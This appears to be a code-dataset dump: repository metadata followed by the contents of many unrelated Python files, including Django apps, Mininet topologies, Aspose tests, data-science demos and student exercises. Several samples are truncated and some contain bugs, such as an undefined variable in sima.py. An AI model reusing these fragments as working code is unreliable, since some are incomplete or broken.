from instapy import smart_run
import resources
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName("Form")
Form.resize(493, 685)
font = QtGui.QFont()
font.setFamily("centur... |
38798b4c536297dd01483c02b58e7b9136549f8b | d3a26a2aa4314182db5a4b05158af1d9228cca82 | /Chapter05/TIY_05-07.py | a36de99268e96d80c88c38c0bbcb1956acd6dab3 | [] | no_license | haroonattari/LearnPython_BookExercises | 480f4e8cc38cded535a68ab8d0cb17497dce6b03 | 8ef0800a869618c6f0c9a846587214bfc746cd57 | refs/heads/master | 2021-01-19T14:27:45.493294 | 2017-05-06T17:38:46 | 2017-05-06T17:38:46 | 88,162,799 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py | TIY_05-07.py | favourite_fruits = {'mango', 'banana', 'orange'}
if 'banana' in favourite_fruits:
print("You really like 'babana'") |
ad88c2da7b87107bdacf775eda443b3a3497b445 | 85ddb6dc864d777e0a1338a4c074c414f3b11e22 | /users/models.py | 4a4c453630d6fd02cf0984c392519e4840a1cda0 | [
"MIT"
] | permissive | ds-vologdin/friends | fcea50a4c16a946d1de4a8b088f381b131c536f5 | c939195c06a372b21998f7ad33490c8964cdb2f9 | refs/heads/master | 2020-03-24T23:36:54.754767 | 2018-08-16T12:26:25 | 2018-08-16T12:26:25 | 143,145,015 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,541 | py | models.py | from django.db import models
from django.db.models import CharField, DateField, SlugField, TextField
from django.db.models import DateTimeField, CharField, ForeignKey
from django.db.models import ManyToManyField
from django.utils import timezone
# Примеры заполнения моделей смотрите в модулях factories и management.... |
f7037536474b1963e7afc443cd323dc7eb395973 | f96c283510e5baa10e559ddc0dd9fbde9cb4bc0a | /visual/views.py | a9cd5bca98b16a476c63b3962c72d03eaad41333 | [] | no_license | daba0007/docker_form | a5f862a726ba6c61cf019430f466b07f20d676c6 | ccb12cb76ac1acdba012d39754be8720a7200841 | refs/heads/master | 2021-09-07T16:21:15.845681 | 2018-02-26T02:38:38 | 2018-02-26T02:38:38 | 115,615,429 | 8 | 3 | null | null | null | null | UTF-8 | Python | false | false | 12,135 | py | views.py | #!/usr/bin/env python
# coding:utf-8
from django.shortcuts import render
from django.http import HttpResponse
from visual.models import Image,Container
from visual.get_image import docker_image,docker_pull,docker_rmi,docker_commit,docker_build
from visual.get_container import docker_ps,docker_create,docker_rm,docker_s... |
e5e2f80a8918fd9190be722dc59f87adf5cdb7a2 | 0de5aed9045aa0babd472e1fc3f22b65950f6145 | /AI-web/poseidon/components/machineLearning/mutiClassification/__init__.py | 3572ea94ebf031c382ca1fe6301577ce28fb8a11 | [] | no_license | sunyiwei24601/Tests | b879b277af34d61de03d23f0b940f98b92486635 | fd8baffc6e0ff4bcaf00ca0c658ba5a6d6d0fb38 | refs/heads/master | 2021-09-11T23:35:25.136619 | 2018-04-13T02:52:36 | 2018-04-13T02:52:36 | 115,797,347 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20 | py | __init__.py | __author__ = 'hand'
|
e59eece61e8295845ac6f4aba1634138c3f73238 | b63b7cbd3748fa1dffd263a8440473235b7038d6 | /test/api/test_frames_api.py | aff9505dc47840859a0ebf90e06775cff92e9eb6 | [
"MIT"
] | permissive | aspose-imaging-cloud/aspose-imaging-cloud-python | a0b9d705feca5c8941fcbc327b340e6edee1a1b4 | 22a1eee3b2a3cfa60b4818796ccd07e5ccc393ee | refs/heads/master | 2023-06-09T04:02:42.301542 | 2023-06-01T15:36:28 | 2023-06-01T15:36:28 | 184,237,235 | 3 | 0 | MIT | 2023-06-01T15:36:29 | 2019-04-30T09:54:46 | Python | UTF-8 | Python | false | false | 16,324 | py | test_frames_api.py | # coding: utf-8
# ----------------------------------------------------------------------------
# <copyright company="Aspose" file="test_frames_api.py">
# Copyright (c) 2019-2020 Aspose Pty Ltd. All rights reserved.
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obtai... |
7d829c73c210927cb6d6be861193dbb998a1424f | 278718edf5b89aa16d9faa1e786bde0dfffb4921 | /3_dars.py | 865eae639dd9e81af4a806c1fdfda8ce8edb1051 | [] | no_license | zafarbek97/hello-world | ab41f0b60701c183f8a0f8ecb003585d8cd97a09 | 64761be05ea8f725e2842b9b967266a6a51ae3fa | refs/heads/master | 2023-07-16T22:07:14.053500 | 2021-08-21T20:36:30 | 2021-08-21T20:36:30 | 292,346,730 | 0 | 0 | null | 2020-09-02T17:34:30 | 2020-09-02T17:17:01 | null | UTF-8 | Python | false | false | 505 | py | 3_dars.py | narx = 2500
print("Salom. Bu mening Python dasturlash tilidan olgan uchinchi darsim va kodim")
son = int(input("Nechta non olmoqchisiz? :"))
jami = narx * son
print("Sizga ", jami, "sum kerak")
print("ESLATMA!!!!! Bu dasturdagi narx Uzb, Andijan, Kurgantepa bozoridagi 2021- yildagi o'rtacha narxlarga asoslanib tuzilgan... |
c3419373ee093f058deaa8621726d8a39eda999b | 280b1fb700114a0d6ab541fc442ca70fd932ec64 | /Successful aws sagemaker neo compilations/The Result --Predictive Maintenance/Component Failure Prediction/data_preprocess.py | b14b31af4827bdd58571f95e36bd94d3a69041a4 | [] | no_license | Neelanjan-Goswami/AWS-Sagemaker_-_AWS-IoT-Analytics | 80772d5e14ff256877fa80377427c09bae5c773e | 883b5cb58f8535cf658ffa31ef9068bba029ae44 | refs/heads/master | 2023-02-02T06:16:21.375582 | 2020-12-21T19:27:11 | 2020-12-21T19:27:11 | 292,813,410 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 9,072 | py | data_preprocess.py | import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from datetime import datetime
from datetime import timedelta
def telemetry_preprocess(telemetry):
# format datetime field which comes in as string
telemetry['datetime'] = pd.to_datetime(telemetry['datetime'], format="%Y-%m-%d %H:%M:%S")
... |
c4d71fd7dedd8f26e58b832c86c534f09db43856 | 9cc01ec980a8d255f84726f772ff18d70fa9c9ac | /new.py | b1ea8cceb8153e46dad3f79f660de4ad1eb2a763 | [] | no_license | saicharanallam/pyqt-speechtotext | 0656ba4fba8ceeaed0ee4481522cf58e1db3678c | 3231bc3d9f2611cff2afa9ab4dfb64549e7f4609 | refs/heads/master | 2022-12-12T08:52:57.639010 | 2019-05-24T13:15:04 | 2019-05-24T13:15:04 | 188,423,606 | 0 | 0 | null | 2022-12-08T05:09:46 | 2019-05-24T13:08:34 | Python | UTF-8 | Python | false | false | 38,777 | py | new.py | from __future__ import division
from google.cloud import speech
from google.cloud.speech import enums
from google.cloud.speech import types
from google.oauth2 import service_account
import pyaudio
from six.moves import queue
from threading import Thread
import re
import sys
# from PyQt5.QtWidgets import QMainWindow, ... |
4501edd7e7ff85b250a6162ef502d60c6a0c1f94 | a046a74103b7606c8becb6d31094cc9467670416 | /ba_AdjustTotal_Exp.sikuli/ba_AdjustTotal_Exp.py | bc10022e224f721619dcf09d2482dfdfce4dc379 | [] | no_license | gh-tomhinds/Test_It_All | 16603d245fde799f95e52329776fb8ae70cf0ad6 | 872c840e99fcf1ecb2afa8c1fba7c0339b48213d | refs/heads/master | 2021-01-17T14:44:44.037506 | 2016-06-16T20:02:15 | 2016-06-16T20:02:15 | 46,879,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,813 | py | ba_AdjustTotal_Exp.py | from sikuli import *
import logging
import myTools
import client_Create
import ba__Common
import ba__ReviewBills
#---------------------------------------------------#
def fAdjustTotalExp_Setup(pBAClient):
#---------------------------------------------------#
myTools.sectionStartTimeStamp(pBAClient)
logging.de... |
c85365136d713f3afc68db0de06b35520566a818 | d00dee49eae9a70f0f088516b554303d868fd02d | /MLKit/__init__.py | 4db042cedc46d9f40b3d6281a756b2fb64e3e921 | [] | no_license | bpisano/DSLR | a278f831b91369c9a0f0790d68bb0a4293b8e058 | dbb67163cfcb9954cff08e1f6dfd065c5fa8b935 | refs/heads/master | 2021-07-25T12:17:41.677023 | 2020-09-23T14:54:46 | 2020-09-23T14:54:46 | 219,488,371 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 305 | py | __init__.py | import MLKit.Display
import MLKit.FileManager
from MLKit.CommandLine import CommandLine
from MLKit.LogisticRegression import LogisticRegression
from MLKit.Display import Color, Style
from MLKit.DataTable import DataTable
from MLKit.Column import Column
from MLKit.ColumnAttributes import ColumnAttributes
|
502ab4adc781c7a8cae61e1b63e51ac7308c2231 | 7b7d5d5cbf8594b63635533ae9f76a0d5614126b | /sima.py | e2b46b850e6682d6ee44bf8ad5920a9d9cb1ec4c | [
"MIT"
] | permissive | phractyl/SIMA | 9f6cbaa5d0b5793c06828f22c71fb152de9d7201 | c38c87d0882efb106296c7832d32e24b722a4ca7 | refs/heads/master | 2020-05-24T12:03:27.263895 | 2020-04-13T00:10:53 | 2020-04-13T00:10:53 | 187,260,904 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,582 | py | sima.py | #change the keys and values in this section to whatever you are searching for, you can add more as needed
a_dict = {
'Key1': ('value1','value2'),
'Key2': ('value3','value4'),
'Key3': ('value5','value6'),
}
def percentage(part, whole):
return 100 * float(part)/float(whole)
#list all the tuples into a big... |
dbb66930edd70729e4df7d3023e83a6eae65cccd | 6536475bb26f4062a293269e0039dd96c9c3b475 | /scripts/initdb | d21cc910dff54675c5e3d6eee52253e17a4e6b5e | [] | no_license | bjes/pyvideohub | 617338a4f5ffe1be7074c6864e1da86004ef136c | 7e6e422699d9affd423c3088d9c44506a4ac4f85 | refs/heads/master | 2021-01-01T19:24:45.823284 | 2014-04-10T13:57:40 | 2014-04-10T13:57:40 | 16,936,432 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 491 | initdb | #!/usr/bin/env python
def main():
import sys
from pyramid.paster import get_appsettings
from sqlalchemy import engine_from_config
from pyvideohub.models import ScopedSession, Base
config_file = sys.argv[1]
settings = get_appsettings(config_file)
engine = engine_from_config(settings, 's... | |
e288403cb310bb7241b25e74d1b5bcc63967128c | 5dc77586e3e0f9de1f032fd2ca68494d8e58928f | /tests/integration/test_definitions/aws_glue/integration_tests.py | a1fe5e2803158bd8cce0b1e8598f3a7f54433c04 | [
"Apache-2.0"
] | permissive | great-expectations/great_expectations | dd7c22e6277d6b08bee3ff38a015e6e8cd434df6 | b0290e2fd2aa05aec6d7d8871b91cb4478e9501d | refs/heads/develop | 2023-09-04T09:30:26.395518 | 2023-09-02T00:00:13 | 2023-09-02T00:00:13 | 103,071,520 | 8,931 | 1,535 | Apache-2.0 | 2023-09-14T19:57:16 | 2017-09-11T00:18:46 | Python | UTF-8 | Python | false | false | 790 | py | integration_tests.py | """Note: AWS Glue split from spark since it requires different test dependencies."""
from tests.integration.backend_dependencies import BackendDependencies
from tests.integration.integration_test_fixture import IntegrationTestFixture
aws_glue_integration_tests = []
deployment_patterns = [
# TODO: The AWS_GLUE dep... |
8fd74287fbc653ea3ed4aa76a272486aa29185cf | 5c09988fa786ef3120b064beee2730150b8d3d7d | /_mininet_topo.py | 5a8ef5eb5fb52a731cf2d3883cf497afd7dbbc13 | [] | no_license | mehdithreem/DHT-Torrent | 8779b4fa8d4bfb761736d428d119a7514cab746a | adbe0acac1533e33ca4bd7f9e87e32f90642ec21 | refs/heads/master | 2021-01-19T00:32:46.827131 | 2017-04-07T17:59:45 | 2017-04-07T17:59:45 | 87,181,891 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,793 | py | _mininet_topo.py | # !/usr/bin/python
# sudo mn --custom _mininet_topo.py --topo mytopo,5
# sudo mn --custom _mininet_topo.py --topo mytopo,3 --test simpletest
# or just run this python file
from mininet.topo import Topo
from mininet.net import Mininet
from mininet.util import dumpNodeConnections
from mininet.log import setLogLevel
fro... |
0e112ecfd4ccf762234dff564dd6f3987418dedd | 66608b97f226f52bfd30390221d4d94bbe0bb57c | /SampleTreeMap.py | dc387cdf7c6ca565d28649f518bfcfecee02b57c | [] | no_license | jbagley/treemap | ee8b2bcd13eb976a061617a58096f19d35dc2ca1 | e87746440d58f813cadcbbec93bf998b2448ec97 | refs/heads/master | 2020-04-22T11:50:12.807759 | 2013-02-20T01:17:33 | 2013-02-20T01:17:33 | 8,283,080 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 923 | py | SampleTreeMap.py | # Start the HTML and Javascript code
print '''
<html>
<head>
<script type="text/javascript" src="https://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("visualization", "1", {packages:["treemap"]});
google.setOnLoadCallback(drawChart);
function drawChart() {
'''
... |
ed66e8028d653cf6b7ea4703fef5a658665c48db | 4439077d6009cad7142a7db35203422f36dd5fd4 | /Database/TradePasswd.py | 59aaf255efc761ac4f1b7a0de12a59d617aa5af2 | [] | no_license | tdq851119/tong | 563edcdaadc03a076e639807259c78d5b381911d | 7d6f1fa3677b098450f1c5f41458f7222ec47d04 | refs/heads/master | 2020-03-27T02:20:31.400810 | 2018-08-23T01:48:53 | 2018-08-23T01:48:53 | 145,782,814 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,280 | py | TradePasswd.py | # -*- coding: utf-8 -*-
# DATE 2018-08-21
# AUTHER = tongzz
#
import MySQLdb
from Elements.LoginElements import *
import datetime
import sys
class Tradepasswd():
def __init__(self):
self.db_config={
'host': '172.28.38.59',
'usr': 'mysqladmin',
'passwd': '12... |
81a1fbd13b06e4470bfbaa0d1716d5301e1a4b36 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_76/28.py | a472223f7d1fdf24d72b7debaa41bec8afed28cc | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 338 | py | 28.py | def readint(): return int(raw_input())
T = readint()
for t in xrange(T):
N = int(raw_input())
res = 0
sum = 0
min = 1000000
for i in raw_input().split():
r = int(i)
res ^= r
sum += r
if min > r: min = r
if res == 0:
sum -= min
print "Case #%d: %s" % (t + 1, sum)
else:
print "Case ... |
90fc6e37e3988a2014c66913db61749509db2d53 | c0034f9ec773821df1d6d437a132b18efab103a2 | /idea.py | 1768559b4055a4b47bf7ba3212f8dfaa6c22c9ab | [] | no_license | relekang/workflow | c35b0c1089a20ef5daab81df6d08e99f405eee75 | 212a2552bec1086603d395259d0ed0331e1ffb9b | refs/heads/master | 2021-01-19T02:16:02.638848 | 2017-04-02T07:28:25 | 2017-04-02T07:28:25 | 87,268,976 | 0 | 0 | null | 2017-04-05T05:19:21 | 2017-04-05T05:19:21 | null | UTF-8 | Python | false | false | 222 | py | idea.py | import os
class Idea:
def __init__(self, folder):
self.folder = folder
def name(self):
return "jetbrains-idea"
def cmd(self):
return "intellij-idea-ultimate-edition %s" % self.folder
|
d2e3ac490ce5fdc20976567fa320a9e6a53cbe34 | f447c811a08480f67e21466ebf1075cbe61163ac | /plot_dbscan.py | 4fd6511014e9715f77ec6e6a8cc3f83ad8db2495 | [] | no_license | jvicens/YFCC100M | 9d69f2814dabcf78693e43d820bd49b970d34f4e | 096ca20f16eb576fb281c7c2e66563e02413f0c9 | refs/heads/master | 2021-01-11T04:57:13.226140 | 2016-11-04T13:33:52 | 2016-11-04T13:33:52 | 72,844,650 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,458 | py | plot_dbscan.py | # -*- coding: utf-8 -*-
"""
===================================
Demo of DBSCAN clustering algorithm
===================================
Finds core samples of high density and expands clusters from them.
"""
import scipy as sp
import numpy as np
from scipy import spatial
print(__doc__)
from sklearn.cluster import D... |
166a1dfbd3baf766230080361d98648ec0a64455 | fe34658a4ebe2bab174127f730a0efea6f452818 | /codes/code3/json_crawler.py | 9a49ed2e785558fa058f6b9527f4535aad23fb2b | [] | no_license | freekid00/ACT4311 | 15701c732bf7d21ef774eb819c7edb70e9b515b2 | 2dec992716b0166196efc72b1e275c82afdf7ebe | refs/heads/master | 2022-10-19T13:48:26.104052 | 2020-06-11T12:55:23 | 2020-06-11T12:55:23 | 269,569,297 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 956 | py | json_crawler.py | #coding=utf8
"""
Created on Thu Feb 20 00:53:28 2020
@author: Neal LONG
"""
import json
import requests
fake_header = { "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,... |
9ef5d57d536f5c88f705b1032cc0936e2d4cd565 | f91a7469c9ae7727fe5abdbf54e9abd3f10ee737 | /testShapes.py | 7f69042c3b3ce4c2ce64e65f148f4eff0e411d60 | [] | no_license | dj03vand/Graphics | 5d6ea838d0c0550dce4c774f7bd0c510881b6579 | ad12dbb53d5d1ad64816ebd61eb0b626d8b15461 | refs/heads/master | 2020-04-19T05:31:36.131074 | 2019-01-28T15:54:59 | 2019-01-28T15:54:59 | 167,990,340 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | py | testShapes.py | from Shapes import *
c1 = Circle(5)
r1 = Rectangle(3,2)
c2 = Circle(3)
c3 = Circle(1)
r2 = Rectangle(1,1)
listShapes = [c1,r1,c2,c3,r2]
for item in listShapes:
print(item.toString())
print("Area: " + str(item.area()))
print("Perimeter: " + str(item.perimeter()))
|
558c547483941dafa1920fee102a67276a613b02 | ed56075b80d60f08b5cc55d30eb23fe8fc953af8 | /reverb/models/__init__.py | 714816f123b78c75f8dc5697cd1bd70fde3ab82e | [] | no_license | markdouthwaite/reverb | cef3491e080e7d5e714dab68c25c78763ad84845 | 9fd2fc71b9662e8e216aed6688e2941ff387eaf6 | refs/heads/master | 2020-04-13T05:51:43.012641 | 2018-12-24T16:12:08 | 2018-12-24T16:12:08 | 163,005,327 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 40 | py | __init__.py | from .echo_state import EchoStateNetwork |
6683695b39d6d47fb401a7cbe7cc01a8322c42d8 | 023f19710b01b984003d608630ae2d9c1d9461cd | /wallpp/lattice.py | b425052c92f0ac445294ced7a9f42cc6ff833ef5 | [] | no_license | ccp4/electron-diffraction | 31559c43e2872ef1ed7ed85840c15ad81f5b0994 | 4d4d79f9799ad0618c972e102f53463156bcc75c | refs/heads/master | 2023-08-19T03:01:02.209472 | 2023-06-02T12:28:41 | 2023-06-02T12:28:41 | 244,390,935 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 4,622 | py | lattice.py | '''Defines 2D lattices with some utilities'''
from utils import glob_colors as colors
from utils import displayStandards as dsp
import numpy as np
lat_types = ['square','rect','oblique','hex']
class Lattice2D:
def __init__(self,lat_type='oblique',a=1,b=1,alpha=90):
self.lat_type,self.a,self.b,self.alpha=l... |
fc89849779ef3feaf6310803546b9a6709294bdb | bc68b28995103a45c5050a418a009f5f0c075bdc | /Rosalind1/Prob50/greedySort.py | 87010e3ae962800e377b1a10fa53b911989f5a3e | [] | no_license | kedarpujara/BioinformaticsAlgorithms | 71ca191c18ff8260d9edcd594c337b282b2a7188 | 4a8919d03af767704525e8a5610af5b811d5c873 | refs/heads/master | 2020-03-13T08:41:45.361941 | 2018-04-25T18:39:00 | 2018-04-25T18:39:00 | 131,048,693 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 751 | py | greedySort.py | from operator import neg
def greedySorting(P):
permSeq = []
kInd = lambda perm, k: map(abs, perm).index(k)
kSort = lambda perm, i, j: perm[:i] + map(neg, perm[i:j+1][::-1]) + perm[j+1:]
i = 0
while i < len(P):
if P[i] == i+1:
i += 1
else:
P = kSort(P, i, k... |
8f1da0bbc97628ea2dd6c75237d697d7e3c1cefd | 7682c123722ff2f97d6d30f2a33b25ede279d905 | /date-time/context_calendar.py | 5437335c62f99fbd6c4f2d5f93ae3e092866a9b8 | [
"MIT"
] | permissive | MarkMoretto/python-examples-main | b34b8f22b4b1778a97b5f98af73c68d6d2068fa5 | f08f2fe05f30ffc0f2fe369bc1f4da3564702fdf | refs/heads/master | 2023-08-31T21:27:08.817699 | 2023-03-14T14:17:29 | 2023-03-14T14:17:29 | 220,836,355 | 2 | 1 | MIT | 2023-08-14T21:56:02 | 2019-11-10T19:04:07 | Jupyter Notebook | UTF-8 | Python | false | false | 1,267 | py | context_calendar.py |
import calendar
from datetime import datetime as dt, timedelta as td
class ContextCalendar(calendar.Calendar):
"""Basic calendar.Calendar class, but with the ability to use it
as a context object.
See PEP 343 for more: https://www.python.org/dev/peps/pep-0343/
Example
--------
>>> yr = 202... |
9c567072a12f21a7db5f7475bfafca8ed37f42aa | d76f879679ed19cee8965f777b12b0d955854fd3 | /ooapi/management/commands/download_concessions.py | df6ab43dc90144dcd9deb52b1b778903b03f6b7e | [] | no_license | datastark/oilmodels | 9de6994b9352ec1761f42744992907718d24bfbd | 2c13f1798fb8bb715e91bbf94150466628261b3b | refs/heads/master | 2021-01-12T21:18:22.643352 | 2016-04-11T09:09:17 | 2016-04-11T09:09:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 585 | py | download_concessions.py | from django.core.management.base import BaseCommand
import os
from os.path import dirname
class Command(BaseCommand):
args = 'download'
def handle(self, *args, **kwargs):
s3source = 's3://downloads.openoil.net/concessions/'
destination_dir = dirname(dirname(dirname(__file__))) + '/data/concess... |
ba090dda7ff4f5cd16e2a2896fb7e6f47887b783 | 5fd4d6f90d9ded0a73e002135b9e65036b51111e | /pysolana/sol.py | a4903a5a0feb85e82f46ab44a236063a771a643f | [
"MIT"
] | permissive | Gusarich/pysolana | 78185ed000945743af65858a6be30aa8d94ab335 | dd31cae247c6b75d0f8526544ee74ed75884e2f0 | refs/heads/master | 2023-04-08T09:51:26.140543 | 2023-04-04T05:39:42 | 2023-04-04T05:39:42 | 258,531,162 | 17 | 11 | MIT | 2023-01-15T19:45:40 | 2020-04-24T14:13:01 | Python | UTF-8 | Python | false | false | 5,009 | py | sol.py | from subprocess import Popen, call, check_output, PIPE, CalledProcessError
CHAINS = {
'mainnet': 'https://api.mainnet-beta.solana.com',
'testnet': 'https://testnet.solana.com',
'devnet': 'https://devnet.solana.com'
}
class Sol:
def __init__(self, seedphrase=None, chain='mainnet'):
if seedphr... |
733ea0a4269521a222f56fdf5fac499597e37641 | 700397985e8708192a100719175df76c339c989d | /diccionario.py | 3e454fcf9505ddfcbf5e7430db0d293e40aa53c2 | [] | no_license | karinalino/automatas2 | ce5ffeb0777539f876c42e0897073852bf3d32b6 | 4e904aa74d2b554e129c308f2b7a46a1ec9fa72d | refs/heads/master | 2020-06-14T17:48:43.415347 | 2019-07-26T23:26:08 | 2019-07-26T23:26:08 | 195,077,404 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 310 | py | diccionario.py | #Nombre : diccionario.py
#Objetivo : muestra el funcionamiento de los diccionarios
#Autor: karina susana alvarez lino
#Fecha : 02 de julio de 2019
lista = []
materias ={"algoritmos":"100",
"Inteligencia Artificial":"69",
"Calculo vectorial":"70"}
lista.append(materias)
print(listas)
|
43543327e6e2ea586e2062fba83a08328dcbdb1e | b59ac514779f0f1bf4f41ad17e7cc4627f185f54 | /raven_bug/management/commands/bug.py | 3f2cb5c2637155f05333c9f7bdfc15b9b3efd0c5 | [] | no_license | teeberg/raven-bug | 0d235801caef470d15c754e11ed3acc6d0debc8f | 5d9f399a7f03db2bb9a18f8bb2f3033ef7f17ffb | refs/heads/master | 2021-01-19T12:43:21.385524 | 2017-02-17T20:16:44 | 2017-02-17T20:16:44 | 82,334,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 352 | py | bug.py | from django.core.management import BaseCommand
from django.urls import get_resolver
from raven.contrib.django.resolver import RouteResolver
class Command(BaseCommand):
def handle(self, *args, **options):
resolver = get_resolver()
route_resolver = RouteResolver()
print(route_resolver._resol... |
bb90896a38f1c51ee3d841d7a3eb55f77d3e724b | 27c27208a167f089bb8ce4027dedb3fcc72e8e8a | /ProjectEuler/UC solutions/Successful 51-100/Q051.py | 689e1a86c337273da69d7a8c97d79f062091b637 | [] | no_license | stankiewiczm/contests | fd4347e7b84c8c7ec41ba9746723036d86e2373c | 85ed40f91bd3eef16e02e8fd45fe1c9b2df2887e | refs/heads/master | 2021-05-10T16:46:41.993515 | 2018-02-16T09:04:15 | 2018-02-16T09:04:15 | 118,587,223 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,216 | py | Q051.py | from Numeric import *
MAX = 1000001; Prime = list(); Prime.append(2); NP = 0;
IsP = ones(MAX); IsP[1] = 0;
def Gen():
for i in arange(2,MAX/2):
IsP[2*i] = 0;
n = 3;
NIsP = 1;
while (n < MAX):
if (IsP[n] == 1):
Prime.append(n);
NIsP += 1;
... |
163f1cc4bdaeb7fd12373053e186dd6d84fa4378 | 636eef7e4a066f4db793499fb37e7f0c5428cecf | /src/Resources/py/createLabR.py | 75ca6356ec2af8ad0ffb6e7f3637315cabded3a1 | [
"Apache-2.0"
] | permissive | SCIEG/LabRetriever | 3a981830dddffc52f98fb3ea1e1951dd0339bdd4 | f0a9c35e6b3f22635578f75dd5e717443d26abdf | refs/heads/master | 2020-03-29T15:37:08.937443 | 2018-03-28T02:09:19 | 2018-03-28T02:09:19 | 7,086,264 | 0 | 0 | null | 2014-09-16T00:01:49 | 2012-12-10T02:03:57 | JavaScript | UTF-8 | Python | false | false | 648 | py | createLabR.py |
def createLabR():
""" format of csv file expected:
alpha,DECIMAL
Drop-in rate,DECIMAL
Drop-out rate,DECIMAL
IBD Probs,DECIMAL,DECIMAL,DECIMAL
Race,RACE
XXX_Assumed,(ALLELE,)*
XXX_Suspected,(ALLELE,)*
XXX_Unattributed,(ALLELE,)*
"""
out = open(Ti.Filesystem.getFile(Ti.Filesys... |